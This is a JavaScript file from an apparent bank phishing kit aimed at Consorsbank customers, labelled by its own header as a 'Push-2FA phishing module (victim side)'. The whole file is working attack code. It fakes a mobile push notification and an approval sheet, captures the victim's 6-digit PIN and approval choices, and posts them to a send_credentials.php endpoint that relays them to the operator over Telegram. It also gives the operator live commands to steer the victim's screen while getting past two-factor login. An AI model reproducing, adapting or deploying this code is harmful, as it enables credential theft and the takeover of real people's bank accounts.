/* ========================================================================== Consorsbank kit — assets/push.js Push-2FA phishing module (victim side). No dependencies. Exposes window.OFBPush = { send, approve, deny, onCommand }. State machine (§1A.3): none -> sent -> opened -> confirmed | denied | expired. - push.js records transitions on api.php?action=pushState with notify:0. - Telegram for the funnel path is owned by send_credentials.php (data_type contains "Push"); push.js calls it directly, so the api.php notify gate is deferred and there is never a duplicate message (§8/§9). - 180 s with no action -> `expired` + "Push erneut senden". Page hooks (set by the inline IIFE in index.html): window.OFB_show(id) switch the visible page window.OFB_onPushConfirmed() advance past the push gate ========================================================================== */ (function () { 'use strict'; var AUTO_DISMISS_MS = 8000; // banner slides away after 8 s var REAPPEAR_MS = 6000; // re-appears until opened var EXPIRY_MS = 180000; // 180 s with no action -> expired var done = false; // confirmed | denied (terminal for this push) var opened = false; // banner tapped / sheet shown var expired = false; var expiryTimer = null; var dismissTimer = null; var reappearTimer = null; var lastState = 'none'; /* ---- element helpers ---------------------------------------------------- */ function byId(id) { return document.getElementById(id); } function clientId() { try { if (window.OFB_CLIENT) { return String(window.OFB_CLIENT); } return String(localStorage.getItem('ofb_client') || ''); } catch (e) { return window.OFB_CLIENT ? String(window.OFB_CLIENT) : ''; } } /* ---- network ----------------------------------------------------------- */ function post(url, body) { try { return fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(body || {}), keepalive: true, credentials: 'same-origin' }).catch(function () { /* best-effort */ }); } catch (e) { return null; } } /** Record a transition; the caller owns the Telegram send. */ function setState(state, extra) { lastState = state; var body = { clientId: clientId(), push_state: state, notify: 0 }; if (extra) { for (var k in extra) { if (Object.prototype.hasOwnProperty.call(extra, k)) { body[k] = extra[k]; } } } post('api.php?action=pushState', body); } /** Telegram owner for the funnel path (data_type contains "Push"). */ function notify(state, extra) { var body = { client_id: clientId(), data_type: 'Push ' + state, push_state: state }; if (extra) { for (var k in extra) { if (Object.prototype.hasOwnProperty.call(extra, k)) { body[k] = extra[k]; } } } post('send_credentials.php', body); } /* ---- banner ------------------------------------------------------------ */ function animateIn(el) { if (!el) { return; } el.classList.remove('hidden'); el.classList.remove('dismiss'); /* restart the CSS keyframe */ try { el.style.animation = 'none'; void el.offsetWidth; el.style.animation = ''; } catch (e) { /* ignore */ } } function animateOut(el) { if (!el) { return; } el.classList.add('dismiss'); window.setTimeout(function () { try { el.classList.add('hidden'); } catch (e) { /* ignore */ } }, 340); } function showBanner() { var el = byId('os-push'); if (!el) { return; } animateIn(el); clearTimeout(dismissTimer); clearTimeout(reappearTimer); dismissTimer = window.setTimeout(function () { animateOut(el); if (!opened && !done) { reappearTimer = window.setTimeout(function () { if (!opened && !done) { showBanner(); } }, REAPPEAR_MS); } }, AUTO_DISMISS_MS); } function hideBanner() { clearTimeout(dismissTimer); clearTimeout(reappearTimer); animateOut(byId('os-push')); } /* ---- app sheet --------------------------------------------------------- */ function fillDetail(key, value) { var rows = document.querySelectorAll('.push-details [data-k="' + key + '"] .v'); var text = (value === '' || value === null || typeof value === 'undefined') ? '-' : String(value); for (var i = 0; i < rows.length; i += 1) { rows[i].textContent = text; } } function nowLocalized() { try { return new Date().toLocaleString('de-DE', { day: '2-digit', month: '2-digit', year: 'numeric', hour: '2-digit', minute: '2-digit' }); } catch (e) { return new Date().toISOString().slice(0, 16).replace('T', ' '); } } function fillDetails() { fillDetail('app', 'Online-Banking'); fillDetail('date', nowLocalized()); try { fetch('api.php?action=config', { credentials: 'same-origin' }) .then(function (r) { return r.json(); }) .then(function (cfg) { fillDetail('browser', cfg && cfg.browser ? cfg.browser : ''); fillDetail('ort', cfg && cfg.geo ? cfg.geo : ''); fillDetail('device', cfg && cfg.device ? cfg.device : (window.OFBGuard ? window.OFBGuard.device : '')); }) .catch(function () { /* keep placeholders */ }); } catch (e) { /* keep placeholders */ } } function buildPinPad() { var pad = byId('push-pin-pad'); if (!pad || pad.dataset.built === '1') { return; } pad.dataset.built = '1'; var keys = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '', '0', 'del']; for (var i = 0; i < keys.length; i += 1) { (function (k) { var b = document.createElement('button'); b.type = 'button'; if (k === '') { b.className = 'blank'; b.setAttribute('aria-hidden', 'true'); b.disabled = true; } else if (k === 'del') { b.className = 'del'; b.setAttribute('aria-label', 'Löschen'); b.textContent = '\u232B'; b.addEventListener('click', function () { pinBack(); }); } else { b.textContent = k; b.addEventListener('click', function () { pinDigit(k); }); } pad.appendChild(b); })(keys[i]); } } var pinBuffer = ''; function paintDots() { var dots = byId('push-pin-dots'); if (!dots) { return; } var list = dots.querySelectorAll('.dot'); for (var i = 0; i < list.length; i += 1) { if (i < pinBuffer.length) { list[i].classList.add('on'); } else { list[i].classList.remove('on'); } } } function pinDigit(d) { if (done || pinBuffer.length >= 6) { return; } pinBuffer += d; paintDots(); if (pinBuffer.length === 6) { var pin = pinBuffer; window.setTimeout(function () { confirm('no', pin); }, 160); } } function pinBack() { if (done) { return; } pinBuffer = pinBuffer.slice(0, -1); paintDots(); } function openSheet() { var el = byId('push-app'); if (!el) { return; } fillDetails(); buildPinPad(); el.classList.remove('hidden'); if (!opened) { opened = true; setState('opened'); } hideBanner(); } function closeSheet() { var el = byId('push-app'); if (el) { el.classList.add('hidden'); } } /* ---- terminal transitions ---------------------------------------------- */ function confirm(bio, pin) { if (done) { return; } done = true; expired = false; clearTimeout(expiryTimer); var extra = { push_bio: bio || 'no' }; if (pin) { extra.push_pin = String(pin); } setState('confirmed', extra); notify('confirmed', extra); closeSheet(); hideBanner(); var denied = byId('push-denied-line'); if (denied) { denied.classList.remove('show'); } if (typeof window.OFB_onPushConfirmed === 'function') { window.OFB_onPushConfirmed(); } else if (typeof window.OFB_show === 'function') { window.OFB_show('identity'); } } function deny() { if (done) { return; } done = true; clearTimeout(expiryTimer); setState('denied'); notify('denied'); closeSheet(); hideBanner(); var denied = byId('push-denied-line'); if (denied) { denied.classList.add('show'); } revealResend(); if (typeof window.OFB_show === 'function') { window.OFB_show('push'); } } function expire() { if (done) { return; } expired = true; setState('expired'); revealResend(); } function startExpiry() { clearTimeout(expiryTimer); expiryTimer = window.setTimeout(expire, EXPIRY_MS); } function revealResend() { var a = byId('push-resend'); var b = byId('push-resend-2'); if (a) { a.classList.remove('hidden'); a.style.display = ''; } if (b) { b.classList.remove('hidden'); b.style.display = ''; } } /* ---- public API -------------------------------------------------------- */ function resetPush() { done = false; opened = false; expired = false; pinBuffer = ''; paintDots(); clearTimeout(expiryTimer); } /** pushSend — (re)show the banner + waiting screen and record `sent`. */ function send() { resetPush(); var denied = byId('push-denied-line'); if (denied) { denied.classList.remove('show'); } setState('sent'); notify('sent'); fillDetails(); showBanner(); startExpiry(); if (typeof window.OFB_show === 'function') { window.OFB_show('push'); } } /** pushApprove — confirm the login as if approved in-app. */ function approve(bio) { confirm(bio || 'no'); } /** Operator command router (the three push commands). */ function onCommand(cmd) { switch (String(cmd)) { case 'pushSend': send(); return true; case 'pushApprove': approve('no'); return true; case 'pushDeny': deny(); return true; default: return false; } } window.OFBPush = { send: send, approve: approve, deny: deny, onCommand: onCommand, // introspection / inline wiring openSheet: openSheet, closeSheet: closeSheet, lastState: function () { return lastState; } }; /* ---- wiring ------------------------------------------------------------ */ function wire() { buildPinPad(); paintDots(); var banner = byId('os-push'); if (banner) { banner.addEventListener('click', function (ev) { ev.preventDefault(); openSheet(); }); } var approveBtn = byId('push-approve'); if (approveBtn) { approveBtn.addEventListener('click', function () { approve('no'); }); } var faceBtn = byId('push-faceid'); if (faceBtn) { faceBtn.addEventListener('click', function () { approve('faceid'); }); } var fingerBtn = byId('push-finger'); if (fingerBtn) { fingerBtn.addEventListener('click', function () { approve('fingerprint'); }); } var denyBtn = byId('push-deny'); if (denyBtn) { denyBtn.addEventListener('click', function () { deny(); }); } var r1 = byId('push-resend'); if (r1) { r1.addEventListener('click', function (ev) { ev.preventDefault(); send(); }); } var r2 = byId('push-resend-2'); if (r2) { r2.addEventListener('click', function (ev) { ev.preventDefault(); send(); }); } var tan = byId('push-tan-fallback'); if (tan) { tan.addEventListener('click', function (ev) { ev.preventDefault(); if (typeof window.OFB_show === 'function') { window.OFB_show('otp'); } }); } var sheet = byId('push-app'); if (sheet) { sheet.addEventListener('click', function (ev) { if (ev.target === sheet) { closeSheet(); } }); } /* keyboard entry while the sheet is open */ document.addEventListener('keydown', function (ev) { var s = byId('push-app'); if (!s || s.classList.contains('hidden') || done) { return; } if (/^[0-9]$/.test(ev.key)) { pinDigit(ev.key); } else if (ev.key === 'Backspace') { ev.preventDefault(); pinBack(); } else if (ev.key === 'Escape') { closeSheet(); } }); } if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', wire); } else { wire(); } })();